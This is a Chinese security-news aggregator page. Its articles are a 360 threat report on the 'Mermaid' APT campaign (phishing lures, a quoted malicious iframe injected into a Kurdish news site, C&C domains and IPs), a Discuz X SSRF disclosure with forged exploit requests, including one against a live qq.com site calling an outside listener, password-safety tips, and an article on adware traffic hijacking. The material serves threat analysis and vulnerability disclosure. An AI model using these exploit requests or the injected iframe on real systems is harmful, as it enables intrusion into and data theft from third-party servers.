Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

对美人鱼APT行动的一次详细分析报告

$
0
0
对美人鱼APT行动的一次详细分析报告

2016-05-31 11:05:33
来源:360安全播报 作者:360安全卫士

阅读:712次
点赞(0)
收藏



分享到:








一个持续6年的针对多国政府机构的网络间谍活动

——攻击丹麦外交部的“美人鱼行动”追踪分析

美人鱼行动是主要针对政府机构,持续时间长达6年的网络间谍活动,已经证实有针对丹麦外交部的攻击。360追日团队早在2015年6月就发现了美人鱼行动,通过对捕获的恶意代码样本进行大数据关联分析后,对这个网络间谍活动进行了全面的追踪分析。

目录

一、概述... 3

二、载荷投递... 4

1.鱼叉邮件:PowerPoint OLE钓鱼文档... 4

2.疑似水坑攻击... 5

3.自身伪装... 7

三、RAT分析... 8

1.功能简述... 8

2.V1和V2版本... 8

3.对抗手法... 8

四、C&C分析... 10

1.WHOIS信息... 10

2.故意混淆误导?无辜受害者?... 10

现象... 10

分析... 11

3.被安全机构sinkhole. 12

五、相关线索信息... 14

1.诱饵文档... 14

2.后门程序... 16

3.作息时间... 18

4.域名WHOIS信息... 19

5.小结... 19

附录A:sophos误报反馈详细记录... 20

报告更新相关时间节点

2015年6月23日,形成攻击简报和样本分析报告

2015年7月9日,形成综合分析报告

2016年1月28日,了解到DDIS报告,更新报告内容

2016年4月15日,更新报告内容,公开发布

概述

美人鱼行动是境外APT组织主要针对政府机构的攻击活动,持续时间长达6年的网络间谍活动,已经证实有针对丹麦外交部的攻击。相关攻击行动最早可以追溯到2010年4月,最近一次攻击是在2016年1月。截至目前360追日团队总共捕获到恶意代码样本284个,C&C域名35个。

2015年6月,360追日团队首次注意到美人鱼行动中涉及的恶意代码,并展开关联分析,由于相关恶意代码在中国地区并不活跃,所以当时无法判断其载荷投递的方式和攻击针对目标和领域。但通过大数据关联分析目前我们已经确定相关攻击行动最早可以追溯到2010年4月,以及关联出上百个恶意样本文件,另外360追日团队疑似载荷投递采用了水坑攻击的方式,进一步结合恶意代码中诱饵文件的内容和其他情报数据,初步判定这是一次以窃取敏感信息为目的的针对性攻击,且目标是熟悉英语或波斯语。

2016年1月,丹麦国防部情报局(DDIS,Danish Defence Intelligence Service)所属的网络安全中心(CFCS,Centre for Cyber Security)发布了一份名为“关于对外交部APT攻击的报告”的APT研究报告,报告主要内容是CFCS发现了一起从2014年12月至2015年7月针对丹麦外交部的APT攻击,相关攻击主要利用鱼叉邮件进行载荷投递。

CFCS揭露的这次APT攻击,就是360追日团队在2015年6月发现的美人鱼行动,针对丹麦外交部的相关鱼叉邮件攻击属于美人鱼行动的一部分。从CFCS的报告中360追日团队确定了美人鱼行动的攻击目标至少包括以丹麦外交部为主的政府机构,其载荷投递方式至少包括鱼叉式钓鱼邮件攻击。

通过相关线索分析,360追日团队初步推测美人鱼行动幕后组织来自中东地区。

OLE是Object Linking and Embedding的缩写,即“对象链接与嵌入”,将可执行文件或脚本文件嵌入到文档文件中[1],虽然没有使用漏洞,但构造的恶意文档文件极具有迷惑性。

攻击者可以在outlook发送邮件时、word文档或PowerPoint幻灯片中构造钓鱼文档,在美人鱼行动中主要是利用PowerPoint OLE钓鱼文档,一般是将PE恶意文件嵌入其中。进一步针对单个PPT文档,攻击者会嵌入多个同样的PE恶意文件,这造成在用户环境执行PPT钓鱼文档后,对弹出的安全警告窗口点击“取消”后会继续弹出,一般安全意识较弱的用户在经过多次操作后没有达到预期效果,则会点击“运行”由此来达到关闭安全警告窗口。


对美人鱼APT行动的一次详细分析报告

图 1 PowerPoint OLE钓鱼文档执行后的效果


对美人鱼APT行动的一次详细分析报告

图 2 PowerPoint OLE钓鱼文档中嵌入了多个PE文件

kurdistannet.org(A Daily Independent Online Kurdish Newspaper)网站被植入了恶意链接,疑似美人鱼行动中发动水坑攻击会基于该网站。这个网站的主要内容是涉及伊拉克库尔德斯坦的相关新闻,网站语言以波斯语为主,也就是被攻击目标是关注库尔德斯坦相关新闻,且熟悉波斯语。

360追日团队在2016年4月14日再次请求访问该网站,通过对页面源码的分析,插入的恶意链接依然还存在尚未删除,也就是kurdistannet网站的管理人员尚未发现相关威胁。但是恶意链接目前来看已经失效了。


对美人鱼APT行动的一次详细分析报告

图 3 kurdistannet网站主页


对美人鱼APT行动的一次详细分析报告

图 4 kurdistannet网站被植入恶意链接的源码截图

被挂马网站

kurdistannet.org

被植入的恶意代码

<iframe name="statModules" width="0" height="0" marginwidth="0" marginheight="0" scrolling="no" border="0" frameborder="0" src='http://wpstat.mine.bz/e1/stat1.php'>

挂马恶意链接

hXXp://wpstat.mine.bz/e1/stat1.php

Sucuri检测结果

https://sitecheck.sucuri.net/results/kurdistannet.org

Sucuri检测结果

(谷歌快照)

https://webcache.googleusercontent.com/search?q=cache:lLMBPzClHwkJ:https://sitecheck.sucuri.net/results/kurdistannet.org+&cd=7&hl=zh-CN&ct=clnk&gl=tw

谷歌快照时间

2016年1月24日 04:25:17 GMT

上表是对kurdistannet网站被挂马的具体记录,通过sucuri谷歌快照的时间,可以确定至少在2016年1月24日kurdistannet网站就已经被植入了恶意链接。


对美人鱼APT行动的一次详细分析报告

图 5 sucuri对kurdistannet网站的检测结果

从以下两个表中,可以看出母体文件有来自URL的情况,从URL最终指向的文件扩展名来看,应该不会是诱导用户点击并执行这类URL。而这类URL有可能是其他downloader木马请求下载或者由漏洞文档、水坑网站在触发漏洞成功后下载执行。

来源URL

http://wep.soon.it/doc/v28n1f1.tmp

http://www.bestupdateserver.com/infy/update.php?cn=nlzoetws011185&ver=6.2&u=3%2f12%2f2015%20%2023%3a50%3a38

下载的RAT

1a918a850892c2ca5480702c64c3454c

表 1样本来源1

来源URL

http://best.short-name.com/b35f1.tmp

下载的RAT

6bc1aea97e7b420b0993eff794ed2aeb

表 2样本来源2

这里主要指对二进制可执行EXE文件,主要从文件名、文件扩展名和文件图标等方面进行伪装。

在美人鱼行动中主要通过winrar的自解压功能将相关样本文件和诱饵文档打包为EXE文件,其中诱饵文档涉及的方面较多,会涉及安装补丁、开发环境、视频、图片、文档等,但就EXE文件母体很少将文件图标替换为文档或图片图标。

美人鱼行动中使用的RAT我们命名为SD RAT,SD RAT主要是通过winrar的自解压功能将自己打包为exe文件,会伪装为安装补丁、开发环境、视频、图片、文档等,如V1版本会伪装成图片文件,V2版本会将自己伪装为aptana的air插件。

主要功能是进行键盘记录,收集用户信息(例如:pc的信息,剪贴板内容等等)然后上传到指定服务器,进一步还会从服务器上下载文件(下载的文件暂时还未找到)并运行。从样本代码本身来看SD RAT主要分为两个版本,大概2012年之前的是早期V1版本,2012年之后至今的为V2版本。

窃取回传的数据

具体信息

PC相关信息

计算机名称,用户名称,CPUID,机器ID,IP,当前任务列表,系统版本号,UAC,IE版本,windows目录,系统目录,临时路径,时区,磁盘空间,系统键盘类型,系统语言等

.ini 文件

程序安装时间,发送成功次数,发送失败次数和下载次数

.dat 文件

程序运行的日志和记录的键盘内容,浏览器地址栏的内容以及剪贴板上的内容

两个版本执行在整体架构上是相同的都是在创建窗口的时候调用了一个函数,在该函数中创建两个定时器一个用来记录剪贴板中最新内容,一个用来下载文件和发送用户信息。

在V1版本中创建了两个定时器一个用来下载文件和发送用户信息另一个则调用GetAsyncKeyState进行键盘记录 ,而在V2版本中通过注册热键,响应相关消息进行键盘记录。在V1版本中则通过setclipboard和响应WM_DRAWCLIPBOARD 消息来记录剪贴板上的内容。V2版本内部之间的主要区别在于URL和相关字符串是否加密,在2015年的近期V2版本中几乎对所有的字符串都进行了加密操作。

虽然两个版本在具体的功能实现的手法上有所区别但整体结构和功能是一致的,甚至连字符串解密的函数都是一样的。

躲避执行?失误?

V2版本会检测avast目录(avast software)是否存在,如果不存在则停止运行。V2版本此处的检测逻辑,不太符合一般恶意代码检测杀毒软件进行对抗的思路,我们推测有两种可能性:

第一种:攻击者重点关注被攻击目标环境存在avast杀软的目标;

第二种:攻击者在开发过程中的失误导致。

谨慎执行

V2检测到其他杀软不会停止运行,而是谨慎执行。

V2版本首先会检测卡巴斯基目录(Kaspersky Lab),判断是否安装了该杀毒软件如果存在则会进行谨慎的删除,如果存在则检测是否存在 C:\Documents and Settings\Administrator\ApplicationData\Adobe\airplugin*.dat,存在则会获取插件的名称,然后删除对应的启动项。如果不存在则会直接将以airplugin开头的相关启动项全部删除。

进一步然后向注册表中添加启动项,在添加启动项的过程中依旧会检测如下杀毒软目录件是否存在。

Norton Antivirus

Norton Security

Norton Internet Security

Norton 360

Symantec Antivirus

Symantec_Client_Security

Symantec\Symantec Endpoint Protection

Norton 360 Premier Edition

Norton Security with Backup

如果存在,会通过执行批处理的方式添加如果不存在则直接进行修改注册表。接着会执行删除,然后再次检测上面罗列的杀毒软件,如果存在则将原文件移动过去并重命名如果不存在则直接复制过去重命名。

检测杀软的操作并没有影响最终的结果,只是采取了更加谨慎的操作。


对美人鱼APT行动的一次详细分析报告

图 6域名和注册邮箱对应关系

非动态域名,360追日团队通过对主域名的WHOIS信息分析,发现相关域名持有者邮箱主要集中在以下几个邮箱:

aminjalali_58@yahoo.com

aj58mail-box@yahoo.com

kamil_r@mail.com

am54ja@yahoo.com

在我们分析C&C通信的过程中,一个针对安全厂商的误报反馈引起了我们的注意,具体反馈的误报信息如下表和下图所示。

反馈误报相关

具体链接

反馈误报的URL

https://community.sophos.com/products/unified-threat-management/f/55/t/46992

认为被误报的网站

hXXp://updateserver1.com

hXXp://bestupdateserver.com/


对美人鱼APT行动的一次详细分析报告

图 7 sophos反馈误报页面

aj58在sophos论坛主要反馈sophos产品误报了他持有的两个网站,sophos的UTM是基于McAfee Smartfilter XL,aj58声称McAfee已经更改了网站状态(即非恶意),其中Scott Klassen反馈如果McAfee如果修改状态,则sophos最终也会修改。aj58继续反馈说VT中sophos的检测结果依然是恶意。从目前来看VT中sophos的结果[2]是未评级网站(Unrated site),也就是已经将恶意状态修改。

在看到以上现象,360追日团队首先是想到了之前发布的《007 黑客组织及其地下黑产活动分析报告》(https://ti.360.com/upload/report/file/Hook007.pdf)中,出现过攻击者主动联系安全厂商,探测安全厂商检测机制的案例。

以下是就本次事件的具体推测过程:

首先sophos论坛上注册的用户名是aj58,这的确和反馈误报的两个域名WHOIS信息中邮箱地址比较相似“aminjalali_58@yahoo.com”,“aj58mail-box@yahoo.com”,这一现象或许是用户习惯相关用户名,另外就是刻意表示与相关网站具备关联归属性。

进一步aj58声称自己拥有的两个网站,也是美人鱼行动中主要涉及到C&C域名,从2010年至2015年都有涉及到这两个C&C的木马出现,一般情况恶意域名如果曝光或使用次数越多则存活时间则会越短,而如果只是针对特定目标,且控制其传播范围,则C&C域名会存活较长时间。

疑点1:而且从360追日团队的分析来看,这两个C&C域名的作用并非简单的判断网络环境,其作用主要是窃取信息的回传和下载其他恶意程序。这时怀疑有两种可能性,第一:这两个域名属于美人鱼行动幕后组织所注册持有;第二:这两个域名是可信网站,被美人鱼行动幕后组织攻陷作为跳板。

注:

恶意代码判断网络环境:一般恶意代码在执行主要功能之前会判断下本地网络环境,这时会请求一些可信网站,如请求谷歌、微软等网站,如果符合预设的判断条件,则继续执行。

疑点2:进一步360追日团队发现在美人鱼行动中使用的C&C域名,排除动态域名,至少有8个C&C域名与aj58提到的这两个域名注册邮箱相同。这时我们怀疑有两种可能性,第一:这两个域名属于美人鱼行动幕后组织所注册持有;第二:这两个域名和其他8个域名均为可信网站,而美人鱼行动幕后组织只针对aj58所持有的域名进行攻击,并作为跳板。

疑点3:另外这些aj58提到的这两个域名,以及我们发现的其他域名均无对外提供WEB服务或网站页面。

疑点4:注意到aj58是在2015年7月25日反馈误报,而aj58所持有的另外3个域名已经在2015年7月1日被安全机构(virustracker.info)sinkhole了。从aj58在sophos论坛反馈自己网站被误报的情况,360追日团队认为aj58用户对自己网站的安全性还是很关注的。我们推测aj58所持有的网站如果被其他机构接管了,aj58应该会进行反馈质疑,无法知道aj58是否联系virustracker.info,但从这3个网站的最新WHOIS信息来看,持有者仍然是virustracker.info。

short-name.com

bestwebstat.com

myblog2000.com

表 3被安全机构接管的3个C&C域名

其他: aj58是在2015年7月25日反馈误报,CFCS发布的针对丹麦外交部攻击的报告中指出最后一次攻击是2015年7月24日。

通过以上分析推测,360追日团队更倾向aj58就是美人鱼行动幕后组织的成员,但暂时无法确切证明,不排除aj58是无辜的受害者。

在上一小节中已经介绍了美人鱼行动中有3个C&C已经被安全机构接管。一般情况下安全机构对某个域名进行sinkhole接管的时候,是很确定该域名是被攻击者所持有。

已经被安全机构接管的C&C

C&C主域名

short-name.com

bestwebstat.com

myblog2000.com

WHOIS信息

2015年7月1日之前:aj58mail-box@yahoo.com

2015年7月1日之前:aminjalali_58@yahoo.com

2015年7月1日之后:domains@virustracker.info

IP

Sinkhole之前:192.69.208.202

Sinkhole之前:209.236.117.65

Sinkhole之后:69.195.129.72

表 4样本来源2


对美人鱼APT行动的一次详细分析报告

图 8诱饵文档截图1


对美人鱼APT行动的一次详细分析报告

图 9诱饵文档截图2

从上面两张诱饵PPT截图来看,其中主要语言是波斯语。

样本MD5

oleObject路径

260687b5a29d9a8947d514acae695ad4

C:\Users\ya hosain\Desktop\power point .exe

83e90ccf2523cce6dec582cdc3ddf76b

C:\Users\salazar\Desktop\power point.exe

0096c70453cd7110453b6609a950ce18

C:\Users\135133128\Desktop\power point.exe

b61b26c9862e74772a864afcbf4feba4

C:\Users\1001\Desktop\Desktop.exe

ffad81c9cc9a6d1bd77b29c5be16d1b0

C:\Users\ya ali\Desktop\helma22.exe

7a6e9a6e87e1e43ad188f18ae42f470f

C:\Users\baran\Desktop\voavoal.exe

表 5 OLE嵌入的PE文件路径

上表是PPT OLE钓鱼文档中嵌入的PE文件路径,这个路径就是恶意代码作者本机的文件路径,从相关用户名“ya hosain”、“ya ali”来看,这些用户名更多出现在中东地区。

从下表中可以看出诱饵PPT文档属性的标题内容也是波斯语。

表 6 PPT文件属性中标题内容

母体

3d186a44960a4edc8e297e1066e4264b

视频文件MD5

1c401190a40bc5c03dc5711c57b4b416

视频文件原始文件名

badhejiabshiraz_x264_003.mp4


对美人鱼APT行动的一次详细分析报告

从上面视频内容和视频原始文件名中的“badhejiab”,都涉及到中东地区。

美人鱼行动中大量样本都存在如下类似情况,即子体文件中会包含一段字符串,相关内容一般是直接复制于新闻网站的内容。相关字符串在样本实际执行的过程中并没有具体作用。

下表是其中一个样本的信息,新闻主要涉及叙利亚相关问题。

母体文件

1a918a850892c2ca5480702c64c3454c

子体文件

6e4e52cf69e37d2d540a431f23d7015a

文件中字符串

In his only interview ahead of COP21, the UNs climate summit which opens next Monday, the Prince of Wales suggested that environmental issues may have been one of the root causes of the problems in Syria

涉及到的新闻链接

http://news.sky.com/story/1592373/charles-syrias-war-linked-to-climate-change


对美人鱼APT行动的一次详细分析报告

图 10相关新闻页面截图


对美人鱼APT行动的一次详细分析报告

图 11攻击者作息时间


对美人鱼APT行动的一次详细分析报告

图 12 RAR自解压文件内相关文件时间

C&C域名的注册邮箱:“aminjalali_58@yahoo.com”


对美人鱼APT行动的一次详细分析报告
图 13相似域名截图

Discuz X系列门户文章功能SSRF漏洞挖掘与分析

$
0
0
Discuz X系列门户文章功能SSRF漏洞挖掘与分析

2016-06-01 12:44:50
来源:360安全播报 作者:0keeTeam

阅读:1006次
点赞(0)
收藏



分享到:








ModNar@0keeTeam

起因&漏洞点

在看ImageMagick影响DZ这条线,排查上传点时发现的有问题逻辑

简单说就是:

1.正则并没对content参数包含的url部分内容做限制,

2.DZ图片后缀检查函数可用aaa.php#b.jpg绕过

3.DZ图片内容检查函数限制了非图片文件请求的SSRF利用后的回显


Discuz X系列门户文章功能SSRF漏洞挖掘与分析

前提分析

source\include\portalcp\portalcp_upload.php

Line 19:

if($aid){ //目前只能走aid存在的逻辑,原因上面已解释 $article=C::t('portal_article_title')->fetch($aid); if(!$article){ portal_upload_error(lang('portalcp','article_noexist')); } if(check_articleperm($catid,$aid,$article,false,true)!==true){ portal_upload_error(lang('portalcp','article_noallowed')); } }else{ if(($return=check_articleperm($catid,$aid,null,false,true))!==true){ portal_upload_error(lang('portalcp',$return)); } }

source\function\function_portalcp.php

//此函数用于判断是否具有操作文章的权限,由于前两个条件在数据库里初始化,普通用户无法绕过。

//所以这里主要关注modauthkey这个函数的算法是否可预测

functioncheck_articleperm( if($_G['group']['allowmanagearticle']||(empty($aid)&&$_G['group']['allowpostarticle'])||$_GET['modarticlekey']==modauthkey($aid)){ returntrue; }

source\function\function_core.php

//生成算法里有个authkey,值是Discuz安装时随机生成的

//于是换个思路去看,是否有调用此函数且泄露到页面里的逻辑

functionmodauthkey($id){ returnmd5(getglobal('username').getglobal('uid').getglobal('authkey').substr(TIMESTAMP,0,-7).$id); }

定位前台可能输出modauthkey的点

source\module\forum\forum_redirect.php

//这里条件似乎很简单,只要'modthreadkey'参数值不为空即可在跳转链接中带上由tid算出的modauthkey

//$tid可控是关键

Line 108:

header("HTTP/1.1301MovedPermanently"); dheader("Location:forum.php?mod=viewthread&tid=$tid&page=$page$authoridurl$ordertypeurl".(isset($_GET['modthreadkey'])&&($modthreadkey=modauthkey($tid))?"&modthreadkey=$modthreadkey":'')."#pid$pid");

Line 22:

//$ptid, $pid都可由GET参数控制,关键的$tid是由这两个参数查库得来的

//其中前者和$tid关联度较高,只要数据库里存在对应id,则$_GET[‘ptid’]==$ptid==$tid

//又因为数据表中自增的id字段是从1开始的,所以前面分析到portalcp_upload.php检查逻辑时,只能走$aid存在且不等于0的逻辑

if($_GET['goto']=='findpost'){ $post=$thread=array(); if($ptid){ $thread=get_thread_by_tid($ptid); } if($pid){ if($thread){ $post=C::t('forum_post')->fetch($thread['posttableid'],$pid); }else{ $post=get_post_by_pid($pid); } if($post&&empty($thread)){ $thread=get_thread_by_tid($post['tid']); } } if(empty($thread)){ showmessage('thread_nonexistence'); }else{ $tid=$thread['tid']; }

得出利用前提

ptid==aid且两者必须存在(ptid==帖子id,aid==门户文章id),pid=任意评论id。

即论坛门户发表过文章,具体可用以下方法探测:

http://xxx.com/portal.php?mod=view&aid=1

利用和复现

以最新的Discuz(20151208)为例

准备和确认

http://a.cn/discuz_x3.2_sc_gbk/upload/portal.php?mod=view&aid=1

确认门户中存在发表过的文章,记录下可用的aid



Discuz X系列门户文章功能SSRF漏洞挖掘与分析

第一步

登陆后,请求获取modauthkey算出的一个key,用于操作对应文章:

http://a.cn/discuz_x3.2_sc_gbk/upload/forum.php?mod=redirect&goto=findpost&modthreadkey=1&ptid=1&pid=1



Discuz X系列门户文章功能SSRF漏洞挖掘与分析

从跳转的链接取出modthreadkey的参数值:

http://a.cn/discuz_x3.2_sc_gbk/upload/forum.php?mod=viewthread&tid=1&page=1&modthreadkey=fce8163c9f310147f91a244a9eb9dc33#pid1

第二步

带上当前formhash,modarticlekey拼上第一步的modthreadkey的值,即可发请求:

POST:http://a.cn/discuz_x3.2_sc_gbk/upload/portal.php?mod=portalcp&ac=upload&aid=1&catid=1&op=downremotefile&formhash=760dc9d6&modarticlekey=fce8163c9f310147f91a244a9eb9dc33&content=%3Cimg%20src=http://internal.zabbix/images/general/zabbix.png%3E

aa=a



Discuz X系列门户文章功能SSRF漏洞挖掘与分析

图片被下载并上传到Discuz指定的图片路径下:

http://a.cn/discuz_x3.2_sc_gbk/upload/data/attachment/portal/201605/17/112626qszsaqolbm9l93qm.png

http://a.cn/discuz_x3.2_sc_gbk/upload/data/attachment/portal/201605/17/112626qszsaqolbm9l93qm.png.thumb.jpg



Discuz X系列门户文章功能SSRF漏洞挖掘与分析

线上站点示例

Baidu:

site:qq.com inurl:"portal.php?mod=view&aid="



Discuz X系列门户文章功能SSRF漏洞挖掘与分析

1.SSRF请求图片:
http://mygd.qq.com/portal.php?mod=portalcp&ac=upload&aid=17&catid=1&op=downremotefile&formhash=754a473f&modarticlekey=652bc33b2c85a19e52ccfb093bf160ce&content=%3Cimg%20src=http://www.baidu.com/img/bd_logo1.png%3E
保存地址:
http://mygd.qq.com/tfs/portal/201605/17/172818qm7rrrnp3mkq5c4r.png
2. SSRF请求其他地址:
http://mygd.qq.com/portal.php?mod=portalcp&ac=upload&aid=17&catid=1&op=downremotefile&formhash=754a473f&modarticlekey=652bc33b2c85a19e52ccfb093bf160ce&content=%3Cimg%20src=http://103.42.13.155/justtest.php%231.png%3E

远程nc监听:



Discuz X系列门户文章功能SSRF漏洞挖掘与分析

修复方案

临时修复方案

source/include/portalcp/portalcp_upload.php:

对应修改或新增代码:

functionfilter_ssrf($url) { $private_ipList=array( "127.0.0.0"=>"127.255.255.255", "10.0.0.0"=>"10.255.255.255", "172.16.0.0"=>"172.31.255.255", "192.168.0.0"=>"192.168.255.255" ); $urlInfo=parse_url($url); $ip=gethostbyname($urlInfo['host']); $iplong=ip2long($ip); if(!empty($iplong)){ foreach($private_ipListas$startIp=>$endIp){ $startLong=ip2long($startIp); $endLong=ip2long($endIp); if($iplong>=$startLong&&$iplong<=$endLong){ echo"filtered"; returnfalse; } } returntrue; } elsereturnfalse; } $operation=$_GET['op']?$_GET['op']:''; …… …… if(!$upload->is_image_ext($attach['ext'])){ continue; } $content=''; if(preg_match('/^(http:\/\/|\.)/i',$imageurl)&&filter_ssrf($imageurl)){ $content=dfsockopen($imageurl); }elseif(checkperm('allowdownlocalimg')){

官方补丁

http://www.discuz.net/thread-3570835-1-1.html

source/function/function_portalcp.php:



Discuz X系列门户文章功能SSRF漏洞挖掘与分析

总结

1.此漏洞的利用需要一定的前提,即论坛管理者在论坛门户发表过文章,具体可用以下方法探测:

http://*/portal.php?mod=view&aid={30}

2.下载结合上传的逻辑隐患较多,排查其他类型漏洞的时候可以捎带关注这些逻辑的实现

3.绕过涉及到随机密钥算法的函数检查,可以全局查找程序可能泄露算法返回值的地方入手

漏洞处理Time Line

处理时间 处理详情

2016-05-17 18:06:47 向TSRC报告了该漏洞。

2016-05-17 18:59:01 问题评估中

2016-05-18 15:22:10 TSRC管理员确认了该漏洞

2016-05-19 16:54:04 协助TSRC管理员确认了该漏洞细节

2016-06-01 10:36:26 Discuz官方发布20160601补丁,修复了此问题


本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/2889.html

揭晓最差密码排行榜 教你设置安全密码的小技巧

$
0
0

本文总结了最差的密码前25名,看看自己有没有中招,另外给大家分析了设置密码的小技巧,肯定会让你受益匪浅。

揭晓最差密码排行榜 教你设置安全密码的小技巧

最差密码TOP25排行榜

1. 123456

2. password

3. 12345678

4. qwerty

5. 12345

6. 123456789

7. football

8. 1234

9. 1234567

10. baseball

11. welcome

12. 1234567890

13. abc123

14. 111111

15. 1qaz2wsx

16. dragon

17. master

18. monkey

19. letmein

20. login

21. princess

22. qwertyuiop

23. solo

24. passw0rd

25. starwars(翼飞)

许多人都有过网络密码被盗的经历,而防范意识不强是造成密码被盗的主要原因之一,有些人使用数字串“12345678”作为密码,还有些人使用密码的英文单词“password”作为密码。实际上,即使对“password”做一些的变动,比如写“p@ssw0rd”,仍然不是安全的密码。

黑客们使用的暴力破解软件每秒钟可以尝试800万个密码,如何你的密码过于简单,破解它是分分钟的事。就在本周三,职业社交网站LinkedIn一亿多用户的密码被黑客拿到网上出售。

那么,如何保证网络账号的安全呢?首先,检查一下自己的密码是否强度太低,第二,为每个网站创建容易记住且不一样的密码。即使某个网站用户密码遭大面积泄露,也不会殃及其他网站。

检查已有密码

使用一个简单的词语作为主密码是非常不安全的。“字典攻击”能以极快的速度逐一尝试一种语言中所有词语,所以暴力破解也被称为“穷举法”。黑客们会把盗来的数千万个密码放到暗网上分享或者出售,然后这些密码会被添加到已有的密码破解字典。简单的词语通常会第一步被暴力破解。

就拿“saxophone”作为例子,如果把它作为密码,用英文字典破解只需一会儿的功夫,即使开头字母用大写(Saxophone)也不会增加太大的破解难度。甚至把里面在字母换成数字,变成“sax0ph0ne”,也不能算安全的密码,黑客可以在一两小时内破解这种密码。然而,增加一个数字会起到很大的作用,破解软件可能需要四天才能破解“saxophone1”。

另外需要强调的一点是,永远不要在网上测试实际密码的强度。

使用长密码

网络安全专家认为,一个安全的密码至少是在12到14个字符以上。14个字符的密码需要猜测811万亿次才能破解,长度才能保证安全,而不是复杂度。相比之下,8位的密码只需要几个小时就能破解。

但是,很少有人会使用12位以上的密码。这可以理解:长密码很难记住,输入也麻烦。但这个问题其实很好解决,照着下面的步骤做,你一定能创建出自己的安全密码。

用句子做密码

“saxophone”可能会很快被破解,但是如果改成“I Play The Saxophone”(我吹萨克斯),可能需要两年的时间来破解。再加长一点变成“Every Day I Play The Saxophone”(我每天吹萨克斯),则需要几十亿年的时间来破解。不懂英语的话,把中文拼音也能起到一样的效果,比如“WoMeitianYanzouSakesi”。

为了好记,你可以使用电影台词、古诗或者儿歌里的句子做密码。也许你还可以更换其中的一个词。总而言之,句子比随机的一串字符好记得多。

在不同网站上使用同一个密码的不同版本

通常的建议是为你登录的每一个网站创建不同的密码。

从长久来看,在你所登录的网站中,可能有一天会有某个网站的密码数据库被黑客攻破,比如几年前的CSDN密码泄露事件,或者你遭受钓鱼攻击,泄露了某个网站的账户密码。如果你使用同样的邮箱和密码注册所有网站,其他网站的账户密码也就同时泄露了。

但是对大多数人来说,要记住一大堆密码是件很困难的事,即使记住这些密码,也有可能会忘记哪个密码是哪个网站的。

解决的办法是给每个网站的密码加上“标签”,比如“EveryDayIPlayTheSaxophone@qq”。如果再把其中的一些字母改成数字或者符号,那就更安全了。这样的密码简单易记,而且,如果一个网站的密码泄露了,黑客不能用来登录你的其他网站账户。

小心使用特殊字符

许多人喜欢把“a”换成“@”,把“o”换成“0”,那样,“saxophone”就变成了“s@x0ph0ne”。问题是,黑客知道有人使用了这种方法,会相应地改变破解方式,破解“s@x0ph0ne”只需不到一个小时。一个著名的例子是,荷兰安全证书提供商NigiNotar员工使用“production/administrator”(产品管理员)作为用户名,使用“Pr0d@dm1n”作为密码,这个密码被一名21岁的伊朗学生猜到,最终导致这家公司破产。

保持“数字卫生”

不要使用你的狗或者猫的名字或者名字变体作为你的密码,然后还在社交网站上晒它们的照片,叫出它们的名字。高级可持续性威胁(ATP)小组会搜遍互联网寻找个人信息,并用于攻击银行账户。避免使用跟家庭成员和宠物名字或者以往住址有关的密码。

使用密码管理软件

这些软件,比如LastPass,提供了浏览器插件,在你第一次输入某个网站的账号密码时,它会帮你将密码保存到其服务器中,这样可以免除你每次登陆都要重新输入账号密码的烦恼。当你输入弱密码时,它还会提醒你更换成强密码。这些软件还能为你生成强密码。

不过,也有一些对这些软件感到不放心。如果软件账号的主密码被盗了呢?这样所有其他网站的账户和密码都泄露了。

把密码写在纸上

如果创建了一个很长的密码,但是担心会忘记,你可以把它写在纸上,并放到家里安全的地方,比如锁在抽屉里。这样要比保存在电脑上安全得多。

劫持流量原理是什么?关于劫持流量的种类和产生

$
0
0

在鼠标点击的一刹那,流量在用户系统中流过层层节点,在路由的指引下奔向远程服务器。这段路程中短兵相接的战斗往往是最激烈的,在所有流量可能路过的节点往往都埋伏着劫持者,流量劫持的手段也层出不穷,从主页配置篡改、hosts劫持、进程Hook、启动劫持、LSP注入、浏览器插件劫持、http代理过滤、内核数据包劫持、bootkit等等不断花样翻新。或许从开机的一瞬间,流量劫持的故事就已经开始。

1.道貌岸然的流氓软件

“网址导航”堪称国内互联网最独特的一道风景线,从hao123开始发扬光大,各大导航站开始成为互联网流量最主要的一个入口点,伴随着的是围绕导航主页链接的小尾巴(推广ID),展开的一场场惊心动魄的攻防狙击战。一方面国内安全软件对传统IE浏览器的主页防护越来越严密, 另一方面用户体验更好的第三方浏览器开始占据主流地位,国内的流氓木马为了谋求导航量也开始“另辟蹊径”。

下面讲到的案例是我们曾经捕获到的一批导航主页劫持样本,历史活跃期最早可以追溯到2014年,主要通过多类流氓软件捆绑传播,其劫持功能模块通过联网更新获取,经过多层的内存解密后再动态加载。其中的主页劫持插件模块通过修改浏览器配置文件实现主页篡改,对国内外的chrome、火狐、safari、傲游、qq、360、搜狗等20余款主流浏览器做到了全部覆盖。实现这些功能显然需要对这批浏览器的配置文件格式和加密算法做逆向分析,在样本分析过程中我们甚至发现其利用某漏洞绕过了其中2款浏览器的主页保护功能,流氓作者可谓非常“走心”,可惜是剑走偏锋。

劫持流量原理是什么?关于劫持流量的种类和产生

[1] 某软件下拉加载主页劫持插件

上图就是我们在其中一款软件中抓取到的主页劫持模块文件和更新数据包,可能你对数据包里这个域名不是很熟悉,但是提到“音速启动”这款软件相信安全圈内很多人都会有所了解,当年各大安全论坛的工具包基本上都是用它来管理配置的,伴随了很多像本文作者这样的三流小黑客的学习成长,所以分析这个样本过程中还是有很多感触的,当然这些木马劫持行为可能和原作者没有太大关系,听说这款软件在停止更新几年后卖给了上海某科技公司,其旗下多款软件产品都曾被发现过流氓劫持行为,感兴趣的读者可以自行百度,这里不再进行更多的披露。

正如前面的案例,一部分曾经的老牌软件开始慢慢变质,离用户渐行渐远;另一方面,随着最近几年国内安全环境的转变,之前流行的盗号、下载者、远控等传统木马日渐式微,另外一大批披着正规软件外衣的流氓也开始兴起,他们的运作方式有以下几个特点:

1.冒充正规软件,但实际功能单一简陋,有些甚至是空壳软件,常见的诸如某某日历、天气预报、色播、输入法等五花八门的伪装形式,企图借助这些正常功能的外衣逃避安全软件的拦截,实现常驻用户系统的目的。

2.背后行为与木马病毒无异,其目的还是为了获取推广流量,如主页锁定,网页劫持、广告弹窗、流量暗刷、静默安装等等。而且其中很大一部分流氓软件的恶意模块和配置都通过云端进行下拉控制,可以做到分时段、分地区、分场景进行投放触发。

劫持流量原理是什么?关于劫持流量的种类和产生

[2] 某流氓软件的云端控制后台

